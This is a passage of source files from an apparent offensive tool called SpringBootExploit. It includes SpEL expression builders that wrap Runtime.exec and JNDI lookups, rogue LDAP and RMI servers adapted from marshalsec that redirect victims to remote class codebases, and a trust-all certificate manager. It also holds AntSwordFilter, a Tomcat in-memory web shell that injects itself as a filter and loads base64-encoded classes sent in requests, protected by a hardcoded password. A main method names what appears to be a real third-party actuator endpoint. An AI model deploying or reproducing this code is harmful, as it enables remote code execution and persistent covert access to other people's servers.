var34 = responseHeaderString.toString();
respHeaderKey = var34;
return respHeaderKey;
}
}
if (hc == null) {
responseHeaderString = new StringBuilder();
return responseHeaderString.toString();
}
responseHeaderString = new StringBuilder();
responseheaders = hc.getHeaderFields();
respHeaderKeys = responseheaders.keySet();
iterator = respHeaderKeys.iterator();
while(iterator.hasNext()) {
respHeaderKey = (String)iterator.next();
arrayList = (List)responseheaders.get(respHeaderKey);
var24 = arrayList.iterator();
while(var24.hasNext()) {
value = (String)var24.next();
responseHeaderString.append(value);
}
}
var34 = responseHeaderString.toString();
respHeaderKey = var34;
} catch (IOException var30) {
throw var30;
} catch (Exception var31) {
throw var31;
} finally {
if (br != null) {
((BufferedReader)br).close();
}
if (isr != null) {
((InputStreamReader)isr).close();
}
if (inputStream != null) {
((InputStream)inputStream).close();
}
if (hsc != null) {
hsc.disconnect();
}
if (hc != null) {
hc.disconnect();
}
}
return respHeaderKey;
}
public static String httpReuest(String requestUrl, String method, String contentType, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, 5000, method, contentType, postString, encoding);
}
public static String postHttpReuest(String requestUrl, int timeOut, String contentType, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, timeOut, "POST", contentType, postString, encoding);
}
public static String postHttpReuest(String requestUrl, String postString, String encoding, HashMap headers, String contentType, int timeout) throws Exception {
return httpRequestAddHeader(requestUrl, timeout, "POST", contentType, postString, encoding, headers);
}
public static String postHttpReuest(String requestUrl, String contentType, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, 5000, "POST", contentType, postString, encoding);
}
public static String postHttpReuest(String requestUrl, int timeOut, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, timeOut, "POST", "application/x-www-form-urlencoded", postString, encoding);
}
public static String postHttpReuest(String requestUrl, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, 5000, "POST", "application/x-www-form-urlencoded", postString, encoding);
}
public static String getHttpReuest(String requestUrl, int timeout, String encoding, HashMap headers) throws Exception {
return httpRequestAddHeader(requestUrl, timeout, "GET", "", "", encoding, headers);
}
public static String postHttpReuestByXML(String requestUrl, int timeOut, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, timeOut, "POST", "text/xml", postString, encoding);
}
public static String postHttpReuestByXML(String requestUrl, String postString, String encoding) throws Exception {
return httpRequest(requestUrl, 5000, "POST", "text/xml", postString, encoding);
}
public static String postHttpReuestByXMLAddHeader(String requestUrl, String postString, String encoding, HashMap headers) throws Exception {
return httpRequestAddHeader(requestUrl, 5000, "POST", "text/xml", postString, encoding, headers);
}
public static int codeByHttpRequest(String requestUrl, String method, String contentType, String postString, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, method, contentType, postString, encoding);
}
public static int getCodeByHttpRequest(String requestUrl, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, "GET", (String)null, "", encoding);
}
public static int getCodeByHttpRequest(String requestUrl, int timeout, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, timeout, "GET", (String)null, "", encoding);
}
public static int postCodeByHttpRequest(String requestUrl, String contentType, String postString, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, "POST", contentType, postString, encoding);
}
public static int postCodeByHttpRequestWithNoContenType(String requestUrl, String postString, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, "POST", (String)null, postString, encoding);
}
public static int postCodeByHttpRequest(String requestUrl, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, "POST", (String)null, (String)null, encoding);
}
public static int postCodeByHttpRequest(String requestUrl, String postString, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, "POST", "application/x-www-form-urlencoded", postString, encoding);
}
public static int postCodeByHttpRequestXML(String requestUrl, String postString, String encoding) throws Exception {
return codeByHttpRequest(requestUrl, 5000, "POST", "text/xml", postString, encoding);
}
public static String getHeaderByHttpRequest(String requestUrl, String encoding, HashMap headers, int timeout) throws Exception {
return headerByHttpRequest(requestUrl, 5000, "GET", "text/xml", "", encoding, headers);
}
public static String postHeaderByHttpRequest(String requestUrl, String encoding, String postString, HashMap headers, int timeout) throws Exception {
return headerByHttpRequest(requestUrl, 5000, "POST", "text/xml", postString, encoding, headers);
}
public static boolean downloadFile(String downURL, File file) throws Exception {
HttpURLConnection httpURLConnection = null;
BufferedInputStream bin = null;
FileOutputStream out = null;
try {
URL url = new URL(downURL);
httpURLConnection = (HttpURLConnection)url.openConnection();
httpURLConnection.setRequestMethod("GET");
httpURLConnection.connect();
bin = new BufferedInputStream(httpURLConnection.getInputStream());
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
}
out = new FileOutputStream(file);
int len = 0;
byte[] buf = new byte[1024];
int size;
while((size = bin.read(buf)) != -1) {
len += size;
out.write(buf, 0, size);
}
} catch (Exception var12) {
throw var12;
} finally {
if (bin != null) {
bin.close();
}
if (out != null) {
out.flush();
out.close();
}
if (httpURLConnection != null) {
httpURLConnection.disconnect();
}
}
return true;
}
public static boolean downloadFile(String downURL, String path) throws Exception {
return downloadFile(downURL, new File(path));
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/LDAPUtil.java 0000664 0000000 0000000 00000001665 14121252536 0024741 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import com.drops.ui.MainController;
import java.io.IOException;
import java.net.Socket;
/**
* @ClassName: LDAPUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/2 10:01
* @Version: v1.0.0
* @Description: 检测1389端口是否被占用
**/
public class LDAPUtil {
final MainController mainController;
public LDAPUtil(MainController mainController) {
this.mainController = mainController;
}
public boolean sendLDAPRequest(String target) {
String host = URLUtil.getHost(target);
try {
System.out.println("查看 "+ 1389);
new Socket(host, 1389);
// this.mainController.logTextArea.appendText(Utils.log(host + " 1389 端口被占用! " ));
return false;
} catch (IOException e) {
// this.mainController.logTextArea.appendText(Utils.log("LDAP Server "));
return true;
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/MyCert.java 0000664 0000000 0000000 00000001047 14121252536 0024560 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import javax.net.ssl.X509TrustManager;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
public class MyCert implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/PropertiesBean.java 0000664 0000000 0000000 00000001707 14121252536 0026302 0 ustar 00root root 0000000 0000000 package com.drops.utils;
public class PropertiesBean {
String jvmName;
String serverPort;
String javaVersion;
String userName;
Boolean haveInfo;
public Boolean getHaveInfo() {
return haveInfo;
}
public void setHaveInfo(Boolean haveInfo) {
this.haveInfo = haveInfo;
}
public String getJvmName() {
return jvmName;
}
public void setJvmName(String jvmName) {
this.jvmName = jvmName;
}
public String getServerPort() {
return serverPort;
}
public void setServerPort(String serverPort) {
this.serverPort = serverPort;
}
public String getJavaVersion() {
return javaVersion;
}
public void setJavaVersion(String javaVersion) {
this.javaVersion = javaVersion;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/ReUtil.java 0000664 0000000 0000000 00000001245 14121252536 0024561 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @ClassName: ReUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 16:55
* @Version: v1.0.0
* @Description:
**/
public class ReUtil {
public static String hasVersion(String context,String regex){
String result = null;
Pattern p = Pattern.compile(regex);
Matcher matcher = p.matcher(context);
while (matcher.find()){
result = matcher.group(0);
}
return result;
}
public static void main(String[] args) {
// ReUtil.isSpringCloudStarter("spring-cloud-starter-1.4.2232.jar");
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/Reflections.java 0000664 0000000 0000000 00000005250 14121252536 0025632 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import com.nqzero.permit.Permit;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
@SuppressWarnings ( "restriction" )
public class Reflections {
public Reflections(String name) {
}
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
}
public static Field getField(final Class clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor getFirstCtor(final String name) throws Exception {
final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static T createWithoutConstructor ( Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/ResponseUtil.java 0000664 0000000 0000000 00000001125 14121252536 0026006 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import cn.hutool.http.HttpResponse;
/**
* @ClassName: ResponseUtil
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 10:59
* @Version: v1.0.0
* @Description:
**/
public class ResponseUtil {
HTTPUtils httpUtils = new HTTPUtils();
public ResponseUtil(int Timeout){
httpUtils.setTimeout(Timeout);
}
public ResponseUtil(){
}
public static int getStats(HttpResponse response){
return response.getStatus();
}
public static String getBoby(HttpResponse response){
return response.body();
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/SpelUtils.java 0000664 0000000 0000000 00000004077 14121252536 0025307 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import cn.hutool.core.util.HexUtil;
import com.sun.rowset.JdbcRowSetImpl;
/**
* @ClassName: SpelUtils
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/26 16:25
* @Version: v1.0.0
* @Description:
**/
public class SpelUtils {
String Command = "calc";
String rmi = "ldap://127.0.0.1:1389/basic/TomcatMemShell3";
public String SpelExpr(String cmd){
String result = "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ ";
String jndi = "${T(javax.naming.InitialContext().lookup(new String(new byte[]{ ";
String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
StringBuilder sb = new StringBuilder();
char[] ch = cmd.toCharArray();
for (int i=0 ; i " + target);
return cn.hutool.core.util.URLUtil.normalize(target);
}
public static String encodeURL(String target){
return cn.hutool.core.util.URLUtil.encode(target);
}
public static String getROOT(String target) {
String[] result = target.split("/");
String res = "";
int i = 0;
for (String p:result){
if (p.equals("")){
p = "//";
i += 1;
}
// System.out.println(p);
res += p;
i += 1;
// System.out.println(res + " " + i);
// System.out.println(i);
if (i == 4){
return res + "/";
}
}
return res + "/";
}
public static String getHost(String target){
String result = null;
URL url = null;
try {
url = new URL(URLUtil.normalizeURL(target));
} catch (MalformedURLException e) {
e.printStackTrace();
}
result = url.getHost();
// System.out.println("getROOT result -> " + result);
return result;
}
public static int getPort(String target){
// int result ;
URL url = null;
try {
url = new URL(URLUtil.normalizeURL(target));
} catch (MalformedURLException e) {
e.printStackTrace();
}
String protocol = url.getProtocol();
// System.out.println(protocol);
if (protocol.equals("https")){
return 443;
}else if(protocol.equals("http")){
return 80;
}
return url.getPort();
}
public static void main(String[] args) {
String url = "http://smartms.zihome.com/actuator/env";
String point = "sad";
// System.out.println(URLUtil.normalizeURL(url)+point);
// System.out.println(URLUtil.getHost(URLUtil.normalizeURL(url)));
System.out.println(URLUtil.getROOT(url));
// System.out.println(URLUtil.getPort(url));
// System.out.println(URLUtil.getPath(url));
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/Utils.java 0000664 0000000 0000000 00000003131 14121252536 0024451 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import java.net.URL;
import org.mozilla.universalchardet.UniversalDetector;
import org.mozilla.universalchardet.CharsetListener;
public class Utils {
public Utils() {
}
public static String log(String info) {
return trimN(info) + "\n";
}
private static String trimN(String str) {
int len = str.length();
int st = 0;
char[] val;
for(val = str.toCharArray(); st < len && val[st] <= '\r'; ++st) {
}
while(st < len && val[len - 1] <= '\r') {
--len;
}
return st <= 0 && len >= str.length() ? str : str.substring(st, len);
}
public static String guessEncoding(byte[] bytes) {
String DEFAULT_ENCODING = "UTF-8";
UniversalDetector detector = new UniversalDetector((CharsetListener)null);
detector.handleData(bytes, 0, bytes.length);
detector.dataEnd();
String encoding = detector.getDetectedCharset();
detector.reset();
if (encoding == null) {
encoding = DEFAULT_ENCODING;
}
return encoding;
}
public static String UrlToDomain(String target) {
try {
URL url = new URL(target);
int port;
if (url.getPort() == -1) {
port = url.getDefaultPort();
} else {
port = url.getPort();
}
String httpAddress = url.getProtocol() + "://" + url.getHost() + ":" + port;
return httpAddress;
} catch (Exception var4) {
return var4.getMessage();
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/ldapserver.java 0000664 0000000 0000000 00000007443 14121252536 0025532 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
/**
* @ClassName: ldapserver
* @Description: TODO
* @Author: Summer
* @Date: 2020/7/9 14:37
* @Version: v1.0.0
* @Description: 根据marshalsec中源码修改
**/
public class ldapserver {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
//端口可以修改
int port = 1389;
try {
// URL地址可以修改成任意地址
URL url = new URL("http://localhost:6666/#Calc");
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(url));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/rmiserver.java 0000664 0000000 0000000 00000030207 14121252536 0025373 0 ustar 00root root 0000000 0000000 package com.drops.utils;
/**
* @ClassName: rmiserver
* @Description: TODO
* @Author: Summer
* @Date: 2020/7/6 15:27
* @Version: v1.0.0
* @Description:
**/
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* RMI server implementation returning JNDI references
*
* @author summer
*
* 根据marshalsec中源码修改
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class rmiserver implements Runnable {
private int port;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public rmiserver(int port, URL classpathUrl ) throws IOException {
this.port = port;
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
// 可以修改端口号
int port = 1090;
try {
// URL地址可以修改成任意地址
URL url = new URL("http://localhost:6666/#Exploit");
System.err.println("* Opening JRMP listener on " + port);
rmiserver c = new rmiserver(port, url);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@Override
public void run () {
try {
@SuppressWarnings ( "resource" )
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try ( DataInputStream in = new DataInputStream(bufIn) ) {
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try ( DataOutputStream out = new DataOutputStream(bufOut) ) {
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
}
else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {
return ObjID[].class;
}
else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {
return ObjID.class;
}
else if ( "java.rmi.server.UID".equals(desc.getName()) ) {
return UID.class;
}
else if ( "java.lang.String".equals(desc.getName()) ) {
return String.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( IOException e ) {
throw new MarshalException("unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
// DGC
handleDGC(ois);
}
else if ( read.hashCode() == 0 ) {
if ( handleRMI(ois, out) ) {
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
return;
}
}
}
/**
* @param ois
* @param out
* @throws IOException
* @throws ClassNotFoundException
* @throws
*/
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
String object = (String) ois.readObject();
System.err.println("Is RMI.lookup call for " + object + " " + method);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
System.err.println(
String.format(
"Sending remote classloading stub targeting %s",
new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
/**
* @param ois
* @throws IOException
* @throws ClassNotFoundException
*/
private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
@SuppressWarnings ( "deprecation" )
protected static Object makeDummyObject ( String className ) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class cl ) throws IOException {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
}
else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class cl ) throws IOException {
annotateClass(cl);
}
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/ 0000775 0000000 0000000 00000000000 14121252536 0021617 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/x/AntSwordFilter.java 0000664 0000000 0000000 00000017202 14121252536 0025373 0 ustar 00root root 0000000 0000000 package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EnumSet;
public final class AntSwordFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
public AntSwordFilter() {
}
public AntSwordFilter(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest)servletRequest;
HttpServletResponse res = (HttpServletResponse)servletResponse;
String cls = req.getParameter(this.Pwd);
if (cls != null) {
try {
(new AntSwordFilter(this.getClass().getClassLoader())).g(this.base64Decode(cls)).newInstance().equals(new Object[]{req, res});
} catch (Exception var8) {
}
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
